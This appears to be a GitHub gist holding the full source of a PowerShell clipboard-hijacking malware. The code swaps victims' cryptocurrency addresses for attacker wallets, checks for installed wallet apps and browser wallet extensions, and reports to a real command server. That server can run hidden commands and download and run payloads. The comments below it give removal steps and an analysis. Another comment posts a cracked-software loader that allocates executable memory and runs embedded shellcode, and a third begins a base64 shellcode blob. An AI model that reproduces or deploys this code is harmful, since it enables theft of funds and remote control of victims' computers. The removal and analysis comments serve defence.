function vxUABGtfQ7B7([string]$str) {
    if ($str.Length -eq 0) {
        return "";
    }
    $str = $str.Replace("/", "");
    return ($str.Substring(0, 1).ToUpper() + $str.Substring(1));
}

function getUserAgent {
    $iJunq6e5ivimimy = FindPaths;
    return $nb0MawLGyrxf + $UV1oAmOp0S3 + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "COMPUTERNAME")) + $UV1oAmOp0S3 + (vxUABGtfQ7B7 (XF3a8JO3r5r8G "USERNAME")) + $UV1oAmOp0S3 + (vxUABGtfQ7B7 (ik9hXhN11R)) + " [" + (P9TEtu77LCNtD) + "]" + $UV1oAmOp0S3 + (vxUABGtfQ7B7 (TmBvivf3Wwj8U7NzZh)) + $UV1oAmOp0S3 + $iJunq6e5ivimimy + $UV1oAmOp0S3
}


function oUjmVhxHJ4Qhrw($data, $notify) {
    $URL = "http://api.private-chatting.com/connect";
    if ($OS_Major -ne "6.1") {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
    }
    $cli = New-Object System.Net.WebClient;
    $useragent = getUserAgent;
    $cli.Headers['X-User-Agent'] = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($useragent));
    if ($notify) {
        $cli.Headers['X-notify'] = $notify
    }
    $Response = $cli.UploadString($URL, $data);
    $WorkerEn = $cli.ResponseHeaders["worker"];
    if ($WorkerEn -eq "0") {
        $global:worker = $false;
    }
    else {
        $global:worker= $true;
    }
    return $Response.ToString()

}

function DownloadFile([string]$URL, [string]$Filename) {
    [string]$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/599.99 (KHTML, like Gecko) Chrome/81.0.3999.199 Safari/599.99";
    if ($OS_Major -ne "6.1") {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true };
        $ret = Invoke-WebRequest -Uri $URL -OutFile $Filename -UserAgent $UserAgent -Method 'GET'
    }
    else {
        $cli = New-Object System.Net.WebClient;
        $cli.Headers['User-Agent'] = $UserAgent;
        $cli.DownloadFile($URL, $Filename);
    }

   
}
function yQM1ybBDSjEP($url, $path, $wait) {
    DownloadFile $url $path
}

function Gn4bSDMHKIxEE8UP7wZJ($quit) {

    Remove-Item -Path $svauXHdYmXwV1whE;
    if ($quit) {
        exit(0);
    }
}

function Test-Function([string] $func) {
    try {
        $ret = Get-Command  -Name $func;
        if ($ret) {
            return $true
        }
    }
    catch {
    }
    return $false
}

if (!(Test-Function "Get-Clipboard") -or !(Test-Function "Set-Clipboard")) {
    Add-Type -AssemblyName PresentationFramework;

    function Get-Clipboard($Format) {
        return [System.Windows.Clipboard]::GetText();
    }

    function Set-Clipboard($Value) {
        [System.Windows.Clipboard]::SetText($Value)
    }


}

function log_event([string] $coin, [string] $value) {
    oUjmVhxHJ4Qhrw "" ($coin + " - " + $value)
} 



$coins = @"
[
    {
        "a": "bc1qn6ype8u5kgj672mvsez9wz9wt9wk22tzd5vprp",
        "r": "^bc1[a-z0-9]{39,59}$",
        "c": "BTC"
    },
    {
        "a": "1Pqkb4MZwKzgSNkaX32wMwg95D9NfW9vZX",
        "r": "^1[a-km-zA-HJ-NP-Z1-9]{26,33}$",
        "c": "BTC"
    },
    {
        "a": "3JvBvRuBfYvB6MjzMornj9EQpxhq9W7vXP",
        "r": "^3[a-km-zA-HJ-NP-Z1-9]{26,33}$",
        "c": "BTC"
    },
    {
        "a": "qq9yrhef7csy3yzgxgs0rvkvez440mk53gv8ulyu6a",
        "r": "^((bitcoincash|bchreg|bchtest):)?(q|p)[a-z0-9]{41}$",
        "c": "BCH"
    },
    {
        "a": "bnb1vmwl54jxj9yvsgz33xtyuvqnurdjy2raqnttkq",
        "r": "^(bnb)([a-z0-9]{39})$",
        "c": "BNB"
    },
    {
        "a": "0x884467182849bA788ba89300e176ebe11624C882",
        "r": "^0x[a-fA-F0-9]{40}$",
        "c": "ETH"
    },
    {
        "a": "48qx1krgEGzdcSacbmZdioNwXxW6r43yFSJDKPWZb3wsK9pYhajHNyE5FujWo1NxVwEBvGebS7biW9mjMEWdMevqMGmDJ6x",
        "r": "^[48][0-9AB][1-9A-HJ-NP-Za-km-z]{93}$",
        "c": "XMR"
    },
    {
        "a": "rH6dyKWNpcvFz6fQ4ohyDbevSxcxdxfSmz",
        "r": "^r[rpshnaf39wBUDNEGHJKLM4PQRST7VWXYZ2bcdeCg65jkm8oFqi1tuvAxyz]{24,34}$",
        "c": "XRP"
    },
    {
        "a": "DDxhfK5wbJkRN25mAbBYk3ND4xLjiMRyNq",
        "r": "^D{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}$",
        "c": "DOGE"
    },
    {
        "a": "Xtwj8uGx77NYBUki1UCPvEhe4kHYi6yWng",
        "r": "^X[1-9A-HJ-NP-Za-km-z]{33}$",
        "c": "DASH"
    }

]
"@
function main2 {

    if ($global:worker -eq $false) {
        return;
    }

    $book = ConvertFrom-Json $coins

    try {
        [string]$clip = Get-Clipboard -Format Text;
        $clip = $clip.Trim();

        foreach ($entry in $book) {

            if (($clip -match $entry.r) -and ($clip -ne $entry.a) -and ($entry.a -ne "")) {
                Set-Clipboard -Value $entry.a
                log_event $entry.c $clip+"newnewapp"
            }

        }
               
    }
    catch {
    }
}



function main {

    
    $ZFKUuv2t12Af = "|V|";
    $UV1oAmOp0S3 = "\";
    $V7vFcwq3wUVRrsgcv = "M_22";
    $nb0MawLGyrxf = $V7vFcwq3wUVRrsgcv + '_' + (B6ZqvVzzJXq27j);
    $AuVAfc591z0Yw = (XF3a8JO3r5r8G "temp") + $UV1oAmOp0S3;
    $svauXHdYmXwV1whE = $scriptItem.FullName;
    $aWOPoMdm8aLL89 = $scriptItem.Name;
    $EwcQB8qBuCScs = "powershell.exe";
	

    while ($true) {

        try {
            [string]$kk9XDcoU8Sfo692 = oUjmVhxHJ4Qhrw;
            [string[]] $sep = $ZFKUuv2t12Af;
            $Fd1Jal88zKyxij = $kk9XDcoU8Sfo692.Split( $sep, [StringSplitOptions]::None);
            $ivI0sA6txn5XPifq = $Fd1Jal88zKyxij[0];
            $JkByjqH1xztsW2YUG = $Fd1Jal88zKyxij[1];
        
            if ($ivI0sA6txn5XPifq -eq "Cmd") { 
                Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $JkByjqH1xztsW2YUG) 
            }
            if ($ivI0sA6txn5XPifq -eq "DwnlExe") {
                $path = $AuVAfc591z0Yw + $Fd1Jal88zKyxij[2];
                $cmd = $Fd1Jal88zKyxij[3] + $path;
                yQM1ybBDSjEP $Fd1Jal88zKyxij[1] $path $true;
                Start-Sleep 1
                Start-Process -FilePath "cmd.exe" -WindowStyle "Hidden" -ArgumentList ("/c " + $cmd) 
            }
            if ($ivI0sA6txn5XPifq -eq "SelfRemove") {
                Gn4bSDMHKIxEE8UP7wZJ $true
            } 
        }
        catch {}

  
  
  
  try {
            main2;
        }
        catch
        {}
       
        try {
            FindWindow
        }
        catch
        {}
        
        Start-Sleep 1
    }
   

}
$pathdata = 
@'
[
    {
        "root": "%appdata%",
        "targets": [
            {
                "name": "Exodus-A",
                "path": "Exodus"
            },
            {
                "name": "Atomic-A",
                "path": "Atomic Wallet"
            },
            {
                "name": "Electrum-A",
                "path": "Electrum"
            },
            {
                "name": "Ledger-A",
                "path": "Ledger Live"
            },
            {
                "name": "Jaxx-A",
                "path": "Jaxx Liberty"
            },
            {
                "name": "com.liberty.jaxx-A",
                "path": "com.liberty.jaxx"
            },
            {
                "name": "Guarda-A",
                "path": "Guarda"
            },
            {
                "name": "Armory-A",
                "path": "Armory"
            },
            {
                "name": "DELTA-A",
                "path": "DELTA"
            },
            {
                "name": "TREZOR-A",
                "path": "TREZOR Bridge"
            },
            {
                "name": "Bitcoin-A",
                "path": "Bitcoin"
            },
            {
                "name": "binance-A",
                "path": "binance"
            }
        ]
    },
    {
        "root": "%localappdata%",
        "targets": [
            {
                "name": "Blockstream-A",
                "path": "Blockstream Green"
            },
            {
                "name": "Coinomi-A",
                "path": "Coinomi"
            }
        ]
    },
    {
        "root": "%localappdata%\\Google\\Chrome\\User Data\\Default\\Extensions",
        "targets": [
            {
                "name": "Metamask-C",
                "path": "nkbihfbeogaeaoehlefnkodbefgpgknn"
            },
            {
                "name": "MEWcx-C",
                "path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm"
            },
            {
                "name": "Coin98-C",
                "path": "aeachknmefphepccionboohckonoeemg"
            },
            {
                "name": "Binance-C",
                "path": "fhbohimaelbohpjbbldcngcnapndodjp"
            },
            {
                "name": "Jaxx-C",
                "path": "cjelfplplebdjjenllpjcblmjkfcffne"
            },
            {
                "name": "Coinbase-C",
                "path": "hnfanknocfeofbddgcijnmhnfnkdnaad"
            }
        ]
    },
    {
        "root": "%localappdata%\\Microsoft\\Edge\\User Data\\Default\\Extensions",
        "targets": [
            {
                "name": "Metamask-E",
                "path": "ejbalbakoplchlghecdalmeeeajnimhm"
            },
            {
                "name": "Coinomi-E",
                "path": "gmcoclageakkbkbbflppkbpjcbkcfedg"
            }
        ]
    },
    {
        "root": "%localappdata%\\BraveSoftware\\Brave-Browser\\User Data\\Default\\Extensions",
        "targets": [
            {
                "name": "Metamask-B",
                "path": "nkbihfbeogaeaoehlefnkodbefgpgknn"
            },
            {
                "name": "MEWcx-B",
                "path": "nlbmnnijcnlegkjjpcfjclmcfggfefdm"
            },
            {
                "name": "Coin98-B",
                "path": "aeachknmefphepccionboohckonoeemg"
            },
            {
                "name": "Binance-B",
                "path": "fhbohimaelbohpjbbldcngcnapndodjp"
            },
            {
                "name": "Jaxx-B",
                "path": "cjelfplplebdjjenllpjcblmjkfcffne"
            },
            {
                "name": "Coinbase-B",
                "path": "hnfanknocfeofbddgcijnmhnfnkdnaad"
            }
        ]
    }
]
'@;

function FindPaths {

    $a = ConvertFrom-Json $pathdata
    $results = New-Object Collections.Generic.List[string];

    try {
        $ba = Get-ChildItem -Path "$env:appdata\Mozilla\Firefox\Profiles\*.xpi" -Recurse -Force;
        Foreach ($i in $ba) {
            if ($i.Name -match "ebextension@metamask.io.xpi") {
                try {
                    [string] $ss = "metamask-F"
                    $results.Add($ss)
    
                }
                catch {
                    Write-Host "error"
                }
            }
        }
    }
    catch {}


    foreach ($entry in $a) {
        $rootdir = [System.Environment]::ExpandEnvironmentVariables($entry.root);
        foreach ($target in $entry.targets) {
            if ((Test-Path -Path (Join-Path -Path $rootdir -ChildPath $target.path))) {
                $results.Add($target.name)
            }

        }
    
    }

    $ret = [Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes([string]::Join("`n", $results)));
    return $ret;
}


function FindWindow {
    
        $keywords = @('binance', 'coinbase','blockchain','voyager','blockfi','coindesk','etoro','kucoin','citi','paxful','paypal','huobi','poloniex','bittrex','kraken','bitfinex','bitstamp')
    $windows = (Get-Process | Where-Object { $_.MainWindowTitle -ne "" } | Select-Object MainWindowTitle)

    foreach ($wndobj in $windows) {
        [string]$wnd = $wndobj.MainWindowTitle;
        foreach ($keyword in $keywords) {
            if ($wnd.ToLower().Contains($keyword.ToLower())) {
				try {
                    $contentfile = [System.IO.File]::ReadAllText("%SystemDrive%\Users\Public\log.dat").ToLower().replace(' ','');
                    $logsend = 'newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]").ToLower().replace(' ','');
       if( $contentfile -eq $keyword.ToLower().replace(' ','') )
				{
                    $gtr ="";
				}
				else
				{
                    $datatowrite = ('newnewapp' + ($keyword.ToLower() + "[" + $wnd.ToLower() + "]")).ToLower().replace(' ','');
									[System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat",$keyword.ToLower().replace(' ','') );
					                log_event 'newnewapp'  ($keyword.ToLower() + "[" + $wnd.ToLower() + "]");
				}	
    }
    catch {
        [System.IO.File]::WriteAllText("%SystemDrive%\Users\Public\log.dat",$keyword.ToLower().replace(' ','') );

    }
							
            }
        }
    }
    
}


while ($true) {
    try {
        main
    }
    catch {

    }
}

@WolfAlchemy
Copy link

WolfAlchemy commented Jun 4, 2022

How to remove this malware

  1. Open Task Scheduler
  2. A task was created under Microsoft > Windows > NetService > Network that is spawning PowerShell
  3. You can safely delete the entire NetService folder as it was also created by the malware
  4. Delete a fake log file that it created where it hides the script: C:\Windows\logs\system-logs.txt
  5. It also replaces the contents of C:\Windows\System32\SyncAppvPublishingServer.vbs with its own version. A copy from a clean install of Windows 11 can be found here: https://gist.github.com/infernoboy/7cc1fe26e647dd08e6e63a201cb38e27

That should be all. As for the app you were patching to begin with, in my case it isn't doing anything harmful and runs just fine.

What the malware appears to do

It monitors your clipboard looking for a cryptocurrency address. Once it finds one, it replaces it with its own address in the hopes you do not notice when you paste it. You'd be sending crypto to the malware writer's address if you don't. It also pings a server with some computer identifying information and the original address you wanted to send to. It doesn't look like any personal data is transmitted. I believe that's all it does, so it's not the most harmful thing. The addresses that the malware uses have made over $3m USD!

@NextNext333

@infernoboy hey, so I found this thread after PowerShell tried to do the same on my computer, but it's actually not quite the same. Looked through task manager and task scheduler, but didn't find anything suspicious.
But defender stopped PowerShell from loading resource Heur.BZC.ZFV.Boxter.361.52C9B94F. I don't suppose you have any ideas? I've looked through the folders you suggested but came up with nothing.

Side note. Y'all are nerds, and I wish I was on your level. XD I'm like mediocre above novice computer.... knowledge...wise...

@philhk
Copy link

philhk commented Aug 30, 2022

Does anyone know if there is anything suspicious in this code? It's from a crack by crackerfg.

Add-Type -AssemblyName System.Windows.Forms

$dat = [IO.File]::ReadAllBytes('bin.dat');
[Environment]::SetEnvironmentVariable('Desktop', [Environment]::GetFolderPath('Desktop'));
$installDir = [Environment]::ExpandEnvironmentVariables('%windir%');
if (-not [IO.Directory]::Exists($installDir)) {
    [Windows.MessageBox]::Show("Couldn't find defualt installation path ($installDir), Please specify.");
    $browser = New-Object System.Windows.Forms.FolderBrowserDialog
    $browser.Description = "Select Installation Folder";
    $browser.ShowNewFolderButton = $false;
    if ($browser.ShowDialog() -ne "OK") {
        exit(0);
    }
    $installDir = $browser.SelectedPath;
}
[Environment]::SetEnvironmentVariable('InstallDir', $installDir);

$assemblies = New-Object -TypeName System.Collections.Generic.Dictionary'[string, System.Reflection.Assembly]' -ArgumentList ([StringComparer]::OrdinalIgnoreCase)
foreach ($assembly in ([AppDomain]::CurrentDomain.GetAssemblies())) {
    $assemblies[[System.IO.Path]::GetFileName($assembly.Location)] = $assembly;
}

function Get-Ptr {
    param (
        [IntPtr]
        $ptr,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $bu = [AppDomain]::CurrentDomain.DefineDynamicAssembly([System.Reflection.AssemblyName]::new(('_' + [guid]::NewGuid().ToString())), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(('_' + [guid]::NewGuid().ToString()), $false).DefineType(('_' + [guid]::NewGuid().ToString()), 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]);
    $bu.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $params).SetImplementationFlags('Runtime, Managed');
    $bu.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $rettype, $params).SetImplementationFlags('Runtime, Managed');
    $del = $bu.CreateType();
    return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ptr, $del);
}

function Get-Func {
    param (
        [string]
        $module,
        [string]
        $name,
        [type[]]
        $params,
        [type]
        $rettype
    )
    $na = $assemblies['System.dll'].GetType(('Microsoft' + '.Win32.' + 'UnsafeN' + 'ativeMethods'));
    $gp = $na.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'));
    $md = $na.GetMethod('GetModuleHandle').Invoke($null, @($module));
    $ptr = $gp.Invoke($null, @(([System.Runtime.InteropServices.HandleRef]::new([object]::new(), $md)), $name));
    return Get-Ptr $ptr $params $rettype;
}

$fname = 'V';
$fname += 'i';
$fname += 'r';
$fname += 't';
$fname += 'u';
$fname += 'a';
$fname += 'l';
$fname += 'A';
$fname += 'l';
$fname += 'l';
$fname += 'o';
$fname += 'c';
$func = Get-Func 'Kernel32.dll' $fname @([IntPtr], [IntPtr], [uint32], [uint32]) ([IntPtr]);

[Array]::Reverse($dat, 0, 5920);
[Array]::Reverse($dat, 5920, 1792000);
$patch = $func.Invoke(0, 5920, 12288, 64);
[Runtime.InteropServices.Marshal]::Copy($dat, 0, $patch, 5920);
$patchfunc = Get-Ptr $patch @([uint32], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr]);
$patch2 = [Runtime.InteropServices.Marshal]::AllocHGlobal(1792000);
[Runtime.InteropServices.Marshal]::Copy($dat, 5920, $patch2, 1792000);
$patchfunc.Invoke(0, $patch2, 1, 0);

function Copy-InstallFile {
    param (
        $path,
        $pos,
        $size
    )
    try {
        $path = [Environment]::ExpandEnvironmentVariables($path);
        [Array]::Reverse($dat, $pos, $size);
        $fs = [IO.File]::Create($path);
        $fs.Write($dat, $pos, $size);
        $fs.Dispose();
    }
    catch {
        [Windows.MessageBox]::Show("Failed write file $path, Make sure Application is not running.");
        exit(0);
    }
}

Copy-InstallFile '%SystemDrive%\Program Files\BorisFX\Sapphire 2022.5 Adobe\lib64\sapphire_ae.dll' 1797920 66840576;


[Windows.MessageBox]::Show("Patch complete!");
exit(0);```

@RyanTheTechMan
Copy link

I may have found one myself.

$dat = '';
$dat += 'TIlMJCBMiUQkGEiJVCQQiUwkCEiD7DiLRCRAiUQkIIN8JCAAdBCDfCQgAXQ6g3wkIAJ0P+tOSIN8JFAAdArHRCQkAQAAAOsIx0QkJAAAAABMi0QkWItUJCRIi0wkSOhtAQAA6yHrHUiLTCRI6N8CAADrEUiLVCRQSItMJEjofgMAAOsCM8BIg8Q4w8zMzMzMRIlEJBhIiVQkEEiJTCQISIPsKEiDfCQwAHQUSItEJDBIg3gQAHQISIN8JDgAdQczwOn2AAAASItEJDDHQCAAAAAASItUJDhIi0wkMOjvCgAAhcB1BzPA6dAAAABIi1QkOEiLTCQw6AUMAACFwHUHM8DptgAAAEiLTCQw6EAQAACFwHURSItMJDDokhoAADPA6ZcAAABIi0wkMOhBEgAAhcB1DkiLTCQw6HMaAAAzwOt7SItEJDBEi0AISItEJDBIixAzyejnGgAASItMJDCJQQxIi0wkMOilFAAAhcB1DkiLTCQw6DcaAAAzwOs/SItMJDDoSRcAAIXAdQQzwOstg3wkQAB0IboBAAAASItMJDDo+xcAAIXAdQ5Ii0wkMOj9GQAAM8DrBbgBAAAASIPEKMPMzMzMzMzMzMzMzMzMzMxMiUQkGIlUJBBIiUwkCEiD7EjoqQQAAEiJRCQoSIN8JCgAdRpIg3wkYAB0C0iLRCRgxwD/AAAAM8Dp4AAAAEiLRCQoSItAMEiJRCQ4uigAAAC5QAAAAP9UJDhIiUQkIEiDfCQgAHUaSIN8JGAAdAtIi0QkYMcA/wAAADPA6Z0AAABIi0QkIEiLTCQoSIlIEEiLRCQgi0wkWIlIGEiLRCQgx0AcAAAAAEiLRCQgx0AgAAAAAESLRCRYSItUJFBIi0wkIOj5/f//hcB0GkiDfCRgAHQLSItEJGDHAAAAAABIi0QkIOs5SIN8JGAAdA9Ii0QkYEiLTCQgi0kgiQhIi0QkKEiLQDhIiUQkMEiLTCQg/1QkMEiLTCQo/1QkMDPASIPESMPMzMzMzMzMzMzMzMzMSIlMJAhIg+woSIN8JDAAdC1Ii0QkMMdAIAAAAABIi0QkMIN4GAB0DDPSSItMJDDobBYAAEiLTCQw6HIYAABIg8Qow8zMzMzMzMzMzMzMzMxIiUwkCEiD7DhIi0QkQEiJRCQgSItMJCDok////0iDfCQgAHQwSItEJCBIi0AQSItAOEiJRCQoSIN8JCgAdBZIi0QkIEiLSBD/VCQoSItMJCD/VCQoSIPEOMPMzMzMzMxIiVQkEEiJTCQISIPsKEiDfCQwAHQlSIN8JDgAdB1Ii0QkMMdAIAAAAABIi1QkOEiLTCQw6FcWAADrAjPASIPEKMPMzMzMzMzMzMzMzMzMzEiJVCQQSIlMJAhIg+woSItUJDhIi0wkMOiT////SIPEKMPMzMzMzMzMzMzMzMzMzEiJVCQQSIlMJAhIg+xoSIN8JHAAdAhIg3wkeAB1BzPA6VgBAABIi0QkcEiJRCQ4SItEJDgPtwA9TVoAAHQHM8DpOAEAAEiLRCQ4SGNAPEiLTCRwSAPISIvBSIlEJDBIi0QkMIE4UEUAAHQHM8DpCwEAALgIAAAASGvAAEiLTCQwg7wBiAAAAAB1BzPA6ewAAAC4CAAAAEhrwABIi0wkMIuEA';
$dat += 'YgAAABIi0wkcEgDyEiLwUiJRCQoSItEJCiLQCBIi0wkcEgDyEiLwUiJRCRAx0QkIAAAAADrCotEJCD/wIlEJCBIi0QkKItAGDlEJCAPg4cAAACLRCQgSItMJECLBIFIi0wkcEgDyEiLwUiL0EiLTCR46EgYAACFwHVaSItEJCiLQCRIi0wkcEgDyEiLwUiJRCRISItEJCiLQBxIi0wkcEgDyEiLwUiJRCRQi0QkIEiLTCRID7cEQUiLTCRQiwSBiUQkJItEJCRIi0wkcEgDyEiLwesH6V3///8zwEiDxGjDzMzMzMzMzMzMzMzMzMxIiUwkCEiD7FhlSIsEJWAAAABIiUQkOEiDfCQ4AA+EoQAAAEiLRCQ4SIN4GAAPhJEAAABIi0QkOEiLQBhIiUQkQEiLRCRASIPAEEiJRCQoSItEJChIi0wkKEg5CHRmSMdEJCAAAAAASItEJChIiwBIiUQkMEiLRCQwSIlEJCBIi1QkYEiLRCQgSItIYOi/FwAAhcB1DUiLRCQgSItAMOsm6yJIx0QkIAAAAABIi0QkMEiLAEiJRCQwSItEJChIOUQkMHWwM8BIg8RYw8zMzMzMSIHs+AAAALhrAAAAZomEJMAAAAC4ZQAAAGaJhCTCAAAAuHIAAABmiYQkxAAAALhuAAAAZomEJMYAAAC4ZQAAAGaJhCTIAAAAuGwAAABmiYQkygAAALgzAAAAZomEJMwAAAC4MgAAAGaJhCTOAAAAuC4AAABmiYQk0AAAALhkAAAAZomEJNIAAAC4bAAAAGaJhCTUAAAAuGwAAABmiYQk1gAAADPAZomEJNgAAABIjYwkwAAAAOh2/v//SIlEJChIg3wkKAB1BzPA6WAEAADGhCSIAAAAR8aEJIkAAABlxoQkigAAAHTGhCSLAAAAUMaEJIwAAAByxoQkjQAAAG/GhCSOAAAAY8aEJI8AAABBxoQkkAAAAGTGhCSRAAAAZMaEJJIAAAByxoQkkwAAAGXGhCSUAAAAc8aEJJUAAABzxoQklgAAAABIjZQkiAAAAEiLTCQo6Ej8//9IiUQkMEiDfCQwAHUMSI0FNPz//0iJRCQwxkQkSEfGRCRJbMZEJEpvxkQkS2LGRCRMYcZEJE1sxkQkTkHGRCRPbMZEJFBsxkQkUW/GRCRSY8ZEJFMAxkQkOEfGRCQ5bMZEJDpvxkQkO2LGRCQ8YcZEJD1sxkQkPkbGRCQ/csZEJEBlxkQkQWXGRCRCAEiNVCRISItMJCjorfv//0iJhCTgAAAASI1UJDhIi0wkKOiW+///SImEJOgAAABIg7wk4AAAAAB0C0iDvCToAAAAAHUHM8Dp/wIAALpAAAAAuUAAAAD/lCTgAAAASIlEJCBIg3wkIAB1BzPA6doCAABIi0QkIEiLTCQwSIkISItEJCBIi4wk4AAAAEiJSDBIi0QkIEiLjCToAAAASIlIOMaEJKgAAABHxoQkqQAAAGXGhCSqAAAAdMaEJKsAAABNxoQkrAAAAG/GhCStAAAAZMaEJK4AAAB1xoQkrwAAAGzGhCSwAAAAZcaEJLEAAABIxoQksgAAAGHGhCSzAAAAbsaEJLQAAABkxoQktQAAAGzGhCS2AAAA';
$dat += 'ZcaEJLcAAABBxoQkuAAAAABIjZQkqAAAAEiLTCQo/1QkMEiLTCQgSIlBCEiLRCQgSIN4CAB1Ben2AQAAxkQkaEzGRCRpb8ZEJGphxkQka2TGRCRsTMZEJG1pxkQkbmLGRCRvcsZEJHBhxkQkcXLGRCRyecZEJHNBxkQkdABIjVQkaEiLTCQo/1QkMEiLTCQgSIlBEEiLRCQgSIN4CAB1BemNAQAAxkQkeFbGRCR5acZEJHpyxkQke3TGRCR8dcZEJH1hxkQkfmzGRCR/QcaEJIAAAABsxoQkgQAAAGzGhCSCAAAAb8aEJIMAAABjxoQkhAAAAABIjVQkeEiLTCQo/1QkMEiLTCQgSIlBGEiLRCQgSIN4CAB1BekVAQAAxkQkWFbGRCRZacZEJFpyxkQkW3TGRCRcdcZEJF1hxkQkXmzGRCRfRsZEJGByxkQkYWXGRCRiZcZEJGMASI1UJFhIi0wkKP9UJDBIi0wkIEiJQSBIi0QkIEiDeAgAdQXpsQAAAMaEJJgAAABWxoQkmQAAAGnGhCSaAAAAcsaEJJsAAAB0xoQknAAAAHXGhCSdAAAAYcaEJJ4AAABsxoQknwAAAFDGhCSgAAAAcsaEJKEAAABvxoQkogAAAHTGhCSjAAAAZcaEJKQAAABjxoQkpQAAAHTGhCSmAAAAAEiNlCSYAAAASItMJCj/VCQwSItMJCBIiUEoSItEJCBIg3gIAHUC6xFIi0QkIOsMM8CFwA+FV/3//zPASIHE+AAAAMPMzMzMzMzMzMzMSIlUJBBIiUwkCEiD7ChIg3wkMAB0DEiLRCQwSIN4EAB1BzPA6fwAAADHBCQAAAAASItEJDhIiUQkGEiLRCQYD7cAPU1aAAB1CsdEJAQBAAAA6wjHRCQEAAAAAItEJASJBCSDPCQAdQXpowAAADPAhcB1x0iLRCQYSGNAPEiLTCQ4SAPISIvBSIlEJBBIi0QkEIE4UEUAAHUKx0QkCAEAAADrCMdEJAgAAAAAi0QkCIkEJIM8JAB1AutWM8CFwHXMSItEJBAPt0AEPWSGAAB1OUiLRCQQD7dAGD0LAgAAdQrHRCQMAQAAAOsIx0QkDAAAAACLRCQMiQQkgzwkAHUC6w8zwIXAdcnrB8cEJAAAAACDPCQAdQxIi0QkMMdAIAEAAACLBCRIg8Qow8zMzMzMzEiJVCQQSIlMJAhIgeyYAAAASIO8JKAAAAAAdBpIi4QkoAAAAEiDeBAAdAtIg7wkqAAAAAB1BzPA6fwDAABIi4QkoAAAAEiLQBBIi0AYSIlEJGhIi4QkoAAAAEiLQBBIi0AgSImEJIAAAABIi4QkqAAAAEiJRCRYSItEJFhIY0A8SItMJFhIA8hIi8FIiUQkSEiLRCRID7dABolEJFBIi0QkSEgFCAEAAEiJRCQox0QkQAAAAADHRCQkAAAAAOsKi0QkJP/AiUQkJItEJFA5RCQkfWlIY0QkJEhrwChIi0wkKIN8AQwAdFJIY0QkJEhrwChIY0wkJEhryShIi1QkKItEAgxIi1QkKANEChA5RCRAcyhIY0QkJEhrwChIY0wkJEhryShIi1QkKItEAgxIi1QkKANEChCJRCRA64O';
$dat += 'LRCRAQbkEAAAAQbgAMAAAi9BIi0QkSEiLSDD/VCRoSIlEJGBIg3wkYAB1O4tEJEBBuQQAAABBuAAwAACL0DPJ/1QkaEiJRCRgSIN8JGAAdRZIi4QkoAAAAMdAIAIAAAAzwOmWAgAASItEJEiLQFRBuQQAAABBuAAQAACL0EiLTCRg/1QkaEiJRCQ4SIN8JDgAdRZIi4QkoAAAAMdAIAIAAAAzwOlUAgAASItEJEhEi0BUSIuUJKgAAABIi0wkOOigEAAASIuEJKAAAABIi0wkOEiJCEiLhCSgAAAASItMJEiLSVCJSAhIi4QkoAAAAMdAHAEAAABIi0QkOEiJRCRYSItEJFhIY0A8SItMJFhIA8hIi8FIiUQkSEiLRCRISAUIAQAASIlEJChIx0QkcAAAAABIx0QkeAAAAADHRCQgAAAAAOsKi0QkIP/AiUQkIItEJFA5RCQgD42bAQAASGNEJCBIa8AoSItMJCiDfAEMAA+EfQEAAEhjRCQgSGvAKEiLTCQoi0QBDEiLTCRgSAPISIvBSIlEJHBIY0QkIEhrwChIi0wkKIN8ARAAD4WcAAAAx0QkMAAAAABIY0QkIEhrwChIi0wkKIN8AQgAdhhIY0QkIEhrwChIi0wkKItEAQiJRCQw6wxIi0QkSItAOIlEJDCDfCQwAHZPi0QkMEG5BAAAAEG4ABAAAIvQSItMJHD/VCRoSIlEJDhIg3wkOAB1FkiLhCSgAAAAx0AgAgAAADPA6cYAAABEi0QkMDPSSItMJHDozA4AAOmQAAAASGNEJCBIa8AoSItMJCiLRAEQQbkEAAAAQbgAEAAAi9BIi0wkcP9UJGhIiUQkOEiDfCQ4AHUTSIuEJKAAAADHQCACAAAAM8DrZ0hjRCQgSGvAKEiLTCQoi0QBFEiLjCSoAAAASAPISIvBSIlEJHhIY0QkIEhrwChIi0wkKESLRAEQSItUJHhIi0wkOOiHDgAASGNEJCBIa8AoSItMJCiLVCQ4iVQBCOlN/v//uAEAAABIgcSYAAAAw8zMzMzMzMzMzMzMzMzMzEiJTCQISIPsSEiDfCRQAHQLSItEJFBIgzgAdQczwOn2AQAASItEJFBIiwBIY0A8SItMJFBIAwFIiUQkEEiLRCRQSItMJBBIi0kwSIsASCvBSIlEJCBIg3wkIAB1CrgBAAAA6bIBAAC4CAAAAEhrwAVIi0wkEIO8AYgAAAAAdBi4CAAAAEhrwAVIi0wkEIO8AYwAAAAAdQq4AQAAAOl4AQAAuAgAAABIa8AFSItMJBCLhAGIAAAASItMJFBIAwFIiUQkCEiDfCQIAHUTSItEJFDHQCADAAAAM8DpOwEAAEiLRCQIiwBIi0wkCANBBIXAD4QfAQAASItEJAhIg8AISIlEJBhIi0QkCItABEiD6Agz0rkCAAAASPfxiUQkBMcEJAAAAADrCIsEJP/AiQQki0QkBDkEJA+NvAAAAEhjBCRIi0wkGA+3BEHB+AyD+AN1RUiLRCQIiwBIi0wkUEiLCUgDyEiL